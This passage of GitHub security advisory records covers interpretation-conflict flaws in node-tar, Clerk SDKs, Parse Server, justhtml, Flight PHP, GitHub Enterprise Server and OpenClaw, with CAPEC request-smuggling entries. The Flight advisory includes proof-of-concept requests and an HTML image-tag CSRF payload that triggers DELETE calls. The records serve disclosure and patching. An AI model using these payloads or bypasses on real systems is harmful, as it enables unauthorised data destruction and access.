extension types. This mirrors the upstream Rust fix,\nwhich guards `pax_size` with\n`is_gnu_longname || is_gnu_longlink || is_pax_local_extensions || is_pax_global_extensions`.\n\nA fix PR is being prepared against a private fork and will be linked here.\n\n### Fix PR\n\nTo be linked from a private fork of the repository (the fix will not be pushed\nto any public fork or to upstream during embargo).\n\n### Credits\n\nReported by tonghuaroot.",
"id": "GHSA-vmf3-w455-68vh",
"modified": "2026-06-15T17:19:42Z",
"published": "2026-06-15T17:19:42Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-vmf3-w455-68vh"
},
{
"type": "PACKAGE",
"url": "https://github.com/isaacs/node-tar"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "node-tar applies PAX size override to intermediary GNU long-name/long-link headers, causing tar parser interpretation differential (file smuggling)"
}
GHSA-VQX2-FGX2-5WQ9
Vulnerability from github – Published: 2026-04-16 21:28 – Updated: 2026-04-27 16:08Summary
createRouteMatcher in @clerk/nextjs, @clerk/nuxt, and @clerk/astro can be bypassed by certain crafted requests, allowing them to skip middleware gating and reach downstream handlers.
Sessions are not compromised and no existing user can be impersonated - the bypass only affects the middleware-level gating decision.
Who is affected
All apps using createRouteMatcher should upgrade to the patched versions. Patches are drop-in with no API changes. The information below describes the scope of the bypass and helps you understand whether you are potentially affected, but is not a reason to delay the upgrade.
Apps relying only on middleware gating via createRouteMatcher are affected, because a crafted request can skip middleware checks and reach downstream handlers (API routes, server components, etc.). This middleware pattern permits the bypass:
// Next.js example, equivalent patterns exist in Nuxt and Astro
const isProtectedRoute = createRouteMatcher(['/admin(.*)']);
export default clerkMiddleware(async (auth, req) => {
if (isProtectedRoute(req)) {
await auth.protect();
}
});
That said, the bypass is limited to the middleware-level route-matching gate. clerkMiddleware still authenticates the request and auth() reflects the real authentication state of the caller. Auth checks performed inside your route handlers, server components, or server actions continue to work correctly and are not affected. Whether your app is affected in practice depends on whether you have those downstream checks.
External APIs that authenticate each request with a token are also unaffected on those endpoints, since token verification runs independently.
Additionally, this common middleware pattern correctly blocks the bypass at the middleware layer:
// Next.js example, equivalent patterns exist in Nuxt and Astro
const isPublicRoute = createRouteMatcher(['/docs(.*)']);
export default clerkMiddleware(async (auth, req) => {
if (!isPublicRoute(req)) {
await auth.protect();
}
});
@clerk/shared is usually not imported directly in application code, but if you import createPathMatcher from an affected @clerk/shared version, you are also affected. Run npm why @clerk/shared (or your package manager's equivalent) to check your installed version.
Recommended actions
Install the patched version for your framework (pick the one matching your current major):
@clerk/nextjs
- v7.x: fixed in 7.2.1
- v6.x: fixed in 6.39.2
- v5.x: fixed in 5.7.6
@clerk/nuxt
- v2.x: fixed in 2.2.2
- v1.x: fixed in 1.13.28
@clerk/astro
- v3.x: fixed in 3.0.15
- v2.x: fixed in 2.17.10
- v1.x: fixed in 1.5.7
@clerk/shared
- v4.x: fixed in 4.8.1
- v3.x: fixed in 3.47.4
- v2.x: fixed in 2.22.1
Workaround
If you cannot upgrade immediately, adding server-side auth checks (auth()) inside your route handlers, server components, or server actions provides defense-in-depth against this bypass.
Timeline
This issue was reported on 13 APR 2026, patched on 15 APR 2026, and publicly disclosed on 15 APR 2026.
Thanks to Christiaan Swiers for the responsible disclosure of this vulnerability.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@clerk/nextjs"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0"
},
{
"fixed": "5.7.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@clerk/nuxt"
},
"ranges": [
{
"events": [
{
"introduced": "1.1.0"
},
{
"fixed": "1.13.28"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@clerk/astro"
},
"ranges": [
{
"events": [
{
"introduced": "0.0.1"
},
{
"fixed": "1.5.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@clerk/shared"
},
"ranges": [
{
"events": [
{
"introduced": "2.20.17"
},
{
"fixed": "2.22.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@clerk/nextjs"
},
"ranges": [
{
"events": [
{
"introduced": "6.0.0-snapshot.vb87a27f"
},
{
"fixed": "6.39.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@clerk/nextjs"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.0"
},
{
"fixed": "7.2.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@clerk/nuxt"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.2.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.17.9"
},
"package": {
"ecosystem": "npm",
"name": "@clerk/astro"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0-snapshot.v20241206174604"
},
{
"fixed": "2.17.10"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@clerk/astro"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.0.15"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@clerk/shared"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0-canary.v20250225091530"
},
{
"fixed": "3.47.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@clerk/shared"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.8.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41248"
],
"database_specific": {
"cwe_ids": [
"CWE-436",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-16T21:28:26Z",
"nvd_published_at": "2026-04-24T21:16:18Z",
"severity": "CRITICAL"
},
"details": "## Summary\n\n`createRouteMatcher` in `@clerk/nextjs`, `@clerk/nuxt`, and `@clerk/astro` can be bypassed by certain crafted requests, allowing them to skip middleware gating and reach downstream handlers.\n\nSessions are not compromised and no existing user can be impersonated - the bypass only affects the middleware-level gating decision.\n\n## Who is affected\n\nAll apps using `createRouteMatcher` should upgrade to the patched versions. Patches are drop-in with no API changes. The information below describes the scope of the bypass and helps you understand whether you are potentially affected, but is not a reason to delay the upgrade.\n\nApps relying only on middleware gating via `createRouteMatcher` are affected, because a crafted request can skip middleware checks and reach downstream handlers (API routes, server components, etc.). This middleware pattern permits the bypass:\n\n```ts\n// Next.js example, equivalent patterns exist in Nuxt and Astro\nconst isProtectedRoute = createRouteMatcher([\u0027/admin(.*)\u0027]);\n\nexport default clerkMiddleware(async (auth, req) =\u003e {\n if (isProtectedRoute(req)) {\n await auth.protect();\n }\n});\n```\n\nThat said, the bypass is limited to the middleware-level route-matching gate. `clerkMiddleware` still authenticates the request and `auth()` reflects the real authentication state of the caller. Auth checks performed inside your route handlers, server components, or server actions continue to work correctly and are not affected. Whether your app is affected in practice depends on whether you have those downstream checks.\n\nExternal APIs that authenticate each request with a token are also unaffected on those endpoints, since token verification runs independently.\n\nAdditionally, this common middleware pattern correctly blocks the bypass at the middleware layer:\n\n```ts\n// Next.js example, equivalent patterns exist in Nuxt and Astro\nconst isPublicRoute = createRouteMatcher([\u0027/docs(.*)\u0027]);\n\nexport default clerkMiddleware(async (auth, req) =\u003e {\n if (!isPublicRoute(req)) {\n await auth.protect();\n }\n});\n```\n\n`@clerk/shared` is usually not imported directly in application code, but if you import `createPathMatcher` from an affected `@clerk/shared` version, you are also affected. Run `npm why @clerk/shared` (or your package manager\u0027s equivalent) to check your installed version.\n\n## Recommended actions\n\nInstall the patched version for your framework (pick the one matching your current major):\n\n**`@clerk/nextjs`**\n- v7.x: fixed in `7.2.1`\n- v6.x: fixed in `6.39.2`\n- v5.x: fixed in `5.7.6`\n\n**`@clerk/nuxt`**\n- v2.x: fixed in `2.2.2`\n- v1.x: fixed in `1.13.28`\n\n**`@clerk/astro`**\n- v3.x: fixed in `3.0.15`\n- v2.x: fixed in `2.17.10`\n- v1.x: fixed in `1.5.7`\n\n**`@clerk/shared`**\n- v4.x: fixed in `4.8.1`\n- v3.x: fixed in `3.47.4`\n- v2.x: fixed in `2.22.1`\n\n## Workaround\n\nIf you cannot upgrade immediately, adding server-side auth checks (`auth()`) inside your route handlers, server components, or server actions provides defense-in-depth against this bypass.\n\n## Timeline\n\nThis issue was reported on 13 APR 2026, patched on 15 APR 2026, and publicly disclosed on 15 APR 2026.\n\nThanks to [Christiaan Swiers](https://github.com/YouGina) for the responsible disclosure of this vulnerability.",
"id": "GHSA-vqx2-fgx2-5wq9",
"modified": "2026-04-27T16:08:38Z",
"published": "2026-04-16T21:28:26Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/clerk/javascript/security/advisories/GHSA-vqx2-fgx2-5wq9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41248"
},
{
"type": "PACKAGE",
"url": "https://github.com/clerk/javascript"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Official Clerk JavaScript SDKs: Middleware-based route protection bypass"
}
GHSA-VR5F-2R24-W5HC
Vulnerability from github – Published: 2026-04-04 04:22 – Updated: 2026-04-06 23:43Impact
A file can be uploaded with a filename extension that passes the file extension allowlist (e.g., .txt) but with a Content-Type header that differs from the extension (e.g., text/html). The Content-Type is passed to the storage adapter without consistency validation. Storage adapters that store and serve the provided Content-Type (such as S3 or GCS) serve the file with the mismatched Content-Type. The default GridFS adapter is not affected because it derives Content-Type from the filename at serving time.
Patches
The file upload now derives the Content-Type from the filename extension, overriding any user-provided Content-Type when the file has an extension.
Workarounds
Configure the storage adapter or CDN to derive Content-Type from the filename extension instead of using the stored Content-Type.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "parse-server"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0"
},
{
"fixed": "9.7.1-alpha.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 8.6.72"
},
"package": {
"ecosystem": "npm",
"name": "parse-server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "8.6.73"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-35200"
],
"database_specific": {
"cwe_ids": [
"CWE-436"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-04T04:22:11Z",
"nvd_published_at": "2026-04-06T20:16:27Z",
"severity": "LOW"
},
"details": "### Impact\n\nA file can be uploaded with a filename extension that passes the file extension allowlist (e.g., `.txt`) but with a `Content-Type` header that differs from the extension (e.g., `text/html`). The `Content-Type` is passed to the storage adapter without consistency validation. Storage adapters that store and serve the provided Content-Type (such as S3 or GCS) serve the file with the mismatched Content-Type. The default GridFS adapter is not affected because it derives Content-Type from the filename at serving time.\n\n### Patches\n\nThe file upload now derives the Content-Type from the filename extension, overriding any user-provided Content-Type when the file has an extension.\n\n### Workarounds\n\nConfigure the storage adapter or CDN to derive Content-Type from the filename extension instead of using the stored Content-Type.",
"id": "GHSA-vr5f-2r24-w5hc",
"modified": "2026-04-06T23:43:26Z",
"published": "2026-04-04T04:22:11Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/parse-community/parse-server/security/advisories/GHSA-vr5f-2r24-w5hc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35200"
},
{
"type": "WEB",
"url": "https://github.com/parse-community/parse-server/pull/10383"
},
{
"type": "WEB",
"url": "https://github.com/parse-community/parse-server/pull/10384"
},
{
"type": "PACKAGE",
"url": "https://github.com/parse-community/parse-server"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Parse Server: File upload Content-Type override via extension mismatch"
}
GHSA-VRX2-77F2-WW34
Vulnerability from github – Published: 2026-04-22 21:25 – Updated: 2026-04-22 21:25Summary
justhtml 1.17.0 fixes multiple security issues in sanitization, serialization, and programmatic DOM handling.
Most of these issues affected advanced or custom configurations rather than the default safe path.
Affected versions
justhtml<= 1.16.0
Fixed version
justhtml1.17.0released on April 19, 2026
Impact
Custom SVG / MathML sanitization policies
Custom policies that preserved foreign namespaces could allow dangerous content to survive sanitization, including:
- active HTML integration points such as SVG
<foreignObject>, MathML<annotation-xml encoding="text/html">, SVG<title>/<desc>, and MathML text integration points - mutation-XSS parser-differential payloads that looked inert in memory but became active HTML after reparse
- SVG
filter="url(...)"attributes that could trigger external fetches
These issues affected:
- JustHTML(..., sanitize=True) with custom foreign-namespace policies
- sanitize() / sanitize_dom()
- low-level terminal Sanitize(...) transform execution
Preserved <style> handling
Constructor-time sanitization and explicit Sanitize(...) transforms did not fully match sanitize() / sanitize_dom() when custom policies preserved <style>.
That could leave resource-loading CSS such as @import or background-image:url(...) in sanitized output from HTML string input.
Programmatic DOM serialization
Programmatic script, style, and Comment(...) nodes could still serialize into active markup in some edge cases.
This could affect applications that build or mutate DOM trees directly before calling to_html() or to_markdown(html_passthrough=True).
Cache mutation and DOM cycle handling
Two lower-severity hardening fixes were included:
- compiled sanitize-pipeline caches could be mutated after warming and weaken later sanitization
- parent/child cycles in programmatic DOM trees could cause infinite loops in operations such as
to_html()andsanitize_dom()
Default configuration
Most of the issues above did not affect ordinary parsed HTML with the default JustHTML(..., sanitize=True) configuration.
The main risk areas were:
- custom policies that preserve SVG or MathML
- custom policies that preserve
<style> - programmatic DOM construction or mutation
- low-level direct sanitizer/transform APIs
Recommended action
Upgrade to justhtml 1.17.0.
If users cannot upgrade immediately:
- avoid preserving SVG or MathML for untrusted input
- avoid preserving
<style>for untrusted input - avoid mutating programmatic DOM trees with untrusted
script,style, or comment content - avoid mutating warmed policy internals or sanitizer caches
Credit
Discovered during an internal security review of justhtml.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "justhtml"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.17.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-436",
"CWE-471",
"CWE-79",
"CWE-835"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-22T21:25:46Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\n`justhtml` `1.17.0` fixes multiple security issues in sanitization, serialization, and programmatic DOM handling.\n\nMost of these issues affected advanced or custom configurations rather than the default safe path.\n\n## Affected versions\n\n- `justhtml` `\u003c= 1.16.0`\n\n## Fixed version\n\n- `justhtml` `1.17.0` released on April 19, 2026\n\n## Impact\n\n### Custom SVG / MathML sanitization policies\nCustom policies that preserved foreign namespaces could allow dangerous content to survive sanitization, including:\n\n- active HTML integration points such as SVG `\u003cforeignObject\u003e`, MathML `\u003cannotation-xml encoding=\"text/html\"\u003e`, SVG `\u003ctitle\u003e` / `\u003cdesc\u003e`, and MathML text integration points\n- mutation-XSS parser-differential payloads that looked inert in memory but became active HTML after reparse\n- SVG `filter=\"url(...)\"` attributes that could trigger external fetches\n\nThese issues affected:\n- `JustHTML(..., sanitize=True)` with custom foreign-namespace policies\n- `sanitize()` / `sanitize_dom()`\n- low-level terminal `Sanitize(...)` transform execution\n\n### Preserved `\u003cstyle\u003e` handling\nConstructor-time sanitization and explicit `Sanitize(...)` transforms did not fully match `sanitize()` / `sanitize_dom()` when custom policies preserved `\u003cstyle\u003e`.\n\nThat could leave resource-loading CSS such as `@import` or `background-image:url(...)` in sanitized output from HTML string input.\n\n### Programmatic DOM serialization\nProgrammatic `script`, `style`, and `Comment(...)` nodes could still serialize into active markup in some edge cases.\n\nThis could affect applications that build or mutate DOM trees directly before calling `to_html()` or `to_markdown(html_passthrough=True)`.\n\n### Cache mutation and DOM cycle handling\nTwo lower-severity hardening fixes were included:\n\n- compiled sanitize-pipeline caches could be mutated after warming and weaken later sanitization\n- parent/child cycles in programmatic DOM trees could cause infinite loops in operations such as `to_html()` and `sanitize_dom()`\n\n## Default configuration\n\nMost of the issues above did **not** affect ordinary parsed HTML with the default `JustHTML(..., sanitize=True)` configuration.\n\nThe main risk areas were:\n\n- custom policies that preserve SVG or MathML\n- custom policies that preserve `\u003cstyle\u003e`\n- programmatic DOM construction or mutation\n- low-level direct sanitizer/transform APIs\n\n## Recommended action\n\nUpgrade to `justhtml` `1.17.0`.\n\nIf users cannot upgrade immediately:\n\n- avoid preserving SVG or MathML for untrusted input\n- avoid preserving `\u003cstyle\u003e` for untrusted input\n- avoid mutating programmatic DOM trees with untrusted `script`, `style`, or comment content\n- avoid mutating warmed policy internals or sanitizer caches\n\n## Credit\n\nDiscovered during an internal security review of `justhtml`.",
"id": "GHSA-vrx2-77f2-ww34",
"modified": "2026-04-22T21:25:46Z",
"published": "2026-04-22T21:25:46Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/EmilStenstrom/justhtml/security/advisories/GHSA-vrx2-77f2-ww34"
},
{
"type": "PACKAGE",
"url": "https://github.com/EmilStenstrom/justhtml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "justhtml has sanitization bypass in custom policies and programmatic DOM"
}
GHSA-VXRR-W42W-W76G
Vulnerability from github – Published: 2026-05-06 21:38 – Updated: 2026-05-14 20:40Summary
Request::getMethod() unconditionally honors the X-HTTP-Method-Override header and the $_REQUEST['_method'] parameter on any HTTP verb (including safe verbs such as GET), with no opt-in and no whitelist of permitted target methods. A GET request can silently become a DELETE or PUT, enabling CSRF escalation against destructive endpoints, bypass of middleware gated on unsafe verbs, and cache poisoning between CDN and origin.
Affected code
flight/net/Request.php (≈ lines 281-292):
public static function getMethod(): string
{
$method = self::getVar('REQUEST_METHOD', 'GET');
if (self::getVar('HTTP_X_HTTP_METHOD_OVERRIDE') !== '') {
$method = self::getVar('HTTP_X_HTTP_METHOD_OVERRIDE');
} elseif (isset($_REQUEST['_method']) === true) {
$method = $_REQUEST['_method'];
}
return strtoupper($method);
}
$_REQUEST aggregates $_GET and $_POST; on PHP runtimes with request_order=GPC it also includes $_COOKIE.
Proof of concept
GET /item/42?_method=DELETE HTTP/1.1
is dispatched as DELETE /item/42.
GET /item/42 HTTP/1.1
X-HTTP-Method-Override: DELETE
is also dispatched as DELETE /item/42.
Trivial CSRF vector (no JavaScript required):
<img src="https://victim.tld/item/42?_method=DELETE">
loaded on any attacker-controlled page triggers the destructive DELETE on page load, bypassing Same-Origin Policy (image loads are not blocked).
Reproduced against /poc4/item/42.
Impact
- GET → DELETE / PUT CSRF on any route registered for unsafe verbs.
- Bypass of authentication, CSRF token, or rate-limiting middleware that is gated only on POST/DELETE.
- CDN cache poisoning: the CDN caches the GET response body while the origin executed a DELETE.
Patch (fixed in 3.18.1, commit b8dd23a)
A new flight.allow_method_override setting controls both override vectors. Operators can set it to false to disable X-HTTP-Method-Override and _method entirely.
Credit
Discovered by @Rootingg.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "flightphp/core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.18.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42551"
],
"database_specific": {
"cwe_ids": [
"CWE-436"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-06T21:38:16Z",
"nvd_published_at": "2026-05-13T20:16:22Z",
"severity": "HIGH"
},
"details": "### Summary\n`Request::getMethod()` unconditionally honors the `X-HTTP-Method-Override` header and the `$_REQUEST[\u0027_method\u0027]` parameter on **any** HTTP verb (including safe verbs such as GET), with no opt-in and no whitelist of permitted target methods. A GET request can silently become a DELETE or PUT, enabling CSRF escalation against destructive endpoints, bypass of middleware gated on unsafe verbs, and cache poisoning between CDN and origin.\n\n### Affected code\n`flight/net/Request.php` (\u2248 lines 281-292):\n\n```php\npublic static function getMethod(): string\n{\n $method = self::getVar(\u0027REQUEST_METHOD\u0027, \u0027GET\u0027);\n if (self::getVar(\u0027HTTP_X_HTTP_METHOD_OVERRIDE\u0027) !== \u0027\u0027) {\n $method = self::getVar(\u0027HTTP_X_HTTP_METHOD_OVERRIDE\u0027);\n } elseif (isset($_REQUEST[\u0027_method\u0027]) === true) {\n $method = $_REQUEST[\u0027_method\u0027];\n }\n return strtoupper($method);\n}\n```\n\n`$_REQUEST` aggregates `$_GET` and `$_POST`; on PHP runtimes with `request_order=GPC` it also includes `$_COOKIE`.\n\n### Proof of concept\n```\nGET /item/42?_method=DELETE HTTP/1.1\n```\nis dispatched as `DELETE /item/42`.\n\n```\nGET /item/42 HTTP/1.1\nX-HTTP-Method-Override: DELETE\n```\nis also dispatched as `DELETE /item/42`.\n\nTrivial CSRF vector (no JavaScript required):\n```html\n\u003cimg src=\"https://victim.tld/item/42?_method=DELETE\"\u003e\n```\nloaded on any attacker-controlled page triggers the destructive DELETE on page load, bypassing Same-Origin Policy (image loads are not blocked).\n\nReproduced against `/poc4/item/42`.\n\n### Impact\n- GET \u2192 DELETE / PUT CSRF on any route registered for unsafe verbs.\n- Bypass of authentication, CSRF token, or rate-limiting middleware that is gated only on POST/DELETE.\n- CDN cache poisoning: the CDN caches the GET response body while the origin executed a DELETE.\n\n### Patch (fixed in `3.18.1`, commit `b8dd23a`)\nA new `flight.allow_method_override` setting controls both override vectors. Operators can set it to `false` to disable `X-HTTP-Method-Override` and `_method` entirely.\n\n### Credit\nDiscovered by **@Rootingg**.",
"id": "GHSA-vxrr-w42w-w76g",
"modified": "2026-05-14T20:40:04Z",
"published": "2026-05-06T21:38:16Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/flightphp/core/security/advisories/GHSA-vxrr-w42w-w76g"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42551"
},
{
"type": "WEB",
"url": "https://github.com/flightphp/core/commit/b8dd23aaa828cb289fa3c84e75b2a3717cab50b0"
},
{
"type": "PACKAGE",
"url": "https://github.com/flightphp/core"
},
{
"type": "WEB",
"url": "https://github.com/flightphp/core/releases/tag/v3.18.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Flight: HTTP method override enabled by default, facilitating CSRF escalation and middleware bypass"
}
GHSA-W548-VV26-RFF6
Vulnerability from github – Published: 2026-05-08 00:31 – Updated: 2026-05-11 18:31A server-side request forgery (SSRF) vulnerability was identified in the GitHub Enterprise Server notebook viewer that allowed an attacker to access internal services by exploiting URL parser confusion between the validation layer and the HTTP request library. The hostname validation used a different URL parser than the request library, enabling a crafted URL to pass validation while directing the request to an unintended host. Exploitation required network access to the GitHub Enterprise Server instance. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.21 and was fixed in versions 3.16.18, 3.17.15, 3.18.9, 3.19.6, and 3.20.2. This vulnerability was reported via the GitHub Bug Bounty program.
{
"affected": [],
"aliases": [
"CVE-2026-8034"
],
"database_specific": {
"cwe_ids": [
"CWE-436"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-07T22:16:37Z",
"severity": "HIGH"
},
"details": "A server-side request forgery (SSRF) vulnerability was identified in the GitHub Enterprise Server notebook viewer that allowed an attacker to access internal services by exploiting URL parser confusion between the validation layer and the HTTP request library. The hostname validation used a different URL parser than the request library, enabling a crafted URL to pass validation while directing the request to an unintended host. Exploitation required network access to the GitHub Enterprise Server instance. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.21 and was fixed in versions 3.16.18, 3.17.15, 3.18.9, 3.19.6, and 3.20.2. This vulnerability was reported via the GitHub Bug Bounty program.",
"id": "GHSA-w548-vv26-rff6",
"modified": "2026-05-11T18:31:37Z",
"published": "2026-05-08T00:31:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-8034"
},
{
"type": "WEB",
"url": "https://docs.github.com/en/enterprise-server@3.16/admin/release-notes#3.16.18"
},
{
"type": "WEB",
"url": "https://docs.github.com/en/enterprise-server@3.17/admin/release-notes#3.17.15"
},
{
"type": "WEB",
"url": "https://docs.github.com/en/enterprise-server@3.18/admin/release-notes#3.18.9"
},
{
"type": "WEB",
"url": "https://docs.github.com/en/enterprise-server@3.19/admin/release-notes#3.19.6"
},
{
"type": "WEB",
"url": "https://docs.github.com/en/enterprise-server@3.20/admin/release-notes#3.20.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-W6F4-3V35-QJHJ
Vulnerability from github – Published: 2026-03-21 03:31 – Updated: 2026-03-24 19:05Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-6rcp-vxwf-3mfp. This link is maintained to preserve external references.
Original Description
OpenClaw versions prior to 2026.2.24 contain a command injection vulnerability in the system.run shell-wrapper that allows attackers to execute hidden commands by injecting positional argv carriers after inline shell payloads. Attackers can craft misleading approval text while executing arbitrary commands through trailing positional arguments that bypass display context validation.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2026.2.23"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-436",
"CWE-77"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-24T19:05:12Z",
"nvd_published_at": "2026-03-21T01:17:08Z",
"severity": "MODERATE"
},
"details": "## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-6rcp-vxwf-3mfp. This link is maintained to preserve external references.\n\n## Original Description\nOpenClaw versions prior to 2026.2.24 contain a command injection vulnerability in the system.run shell-wrapper that allows attackers to execute hidden commands by injecting positional argv carriers after inline shell payloads. Attackers can craft misleading approval text while executing arbitrary commands through trailing positional arguments that bypass display context validation.",
"id": "GHSA-w6f4-3v35-qjhj",
"modified": "2026-03-24T19:05:12Z",
"published": "2026-03-21T03:31:13Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-6rcp-vxwf-3mfp"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32052"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/0f0a680d3df81739ea5088a2f88e65f938b7936b"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/55cf92578d266987e390c4bf688196af98eac748"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openclaw-hidden-command-execution-via-shell-wrapper-positional-argv-carriers"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:A/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
],
"summary": "Duplicate Advisory: OpenClaw\u0027s system.run shell-wrapper positional argv carriers could execute hidden commands under misleading approval text",
"withdrawn": "2026-03-24T19:05:12Z"
}
No mitigation information available for this CWE.
CAPEC-105: HTTP Request Splitting
An adversary abuses the flexibility and discrepancies in the parsing and interpretation of HTTP Request messages by different intermediary HTTP agents (e.g., load balancer, reverse proxy, web caching proxies, application firewalls, etc.) to split a single HTTP request into multiple unauthorized and malicious HTTP requests to a back-end HTTP agent (e.g., web server).
See CanPrecede relationships for possible consequences.
CAPEC-273: HTTP Response Smuggling
An adversary manipulates and injects malicious content in the form of secret unauthorized HTTP responses, into a single HTTP response from a vulnerable or compromised back-end HTTP agent (e.g., server).
See CanPrecede relationships for possible consequences.
CAPEC-34: HTTP Response Splitting
An adversary manipulates and injects malicious content, in the form of secret unauthorized HTTP responses, into a single HTTP response from a vulnerable or compromised back-end HTTP agent (e.g., web server) or into an already spoofed HTTP response from an adversary controlled domain/site.
See CanPrecede relationships for possible consequences.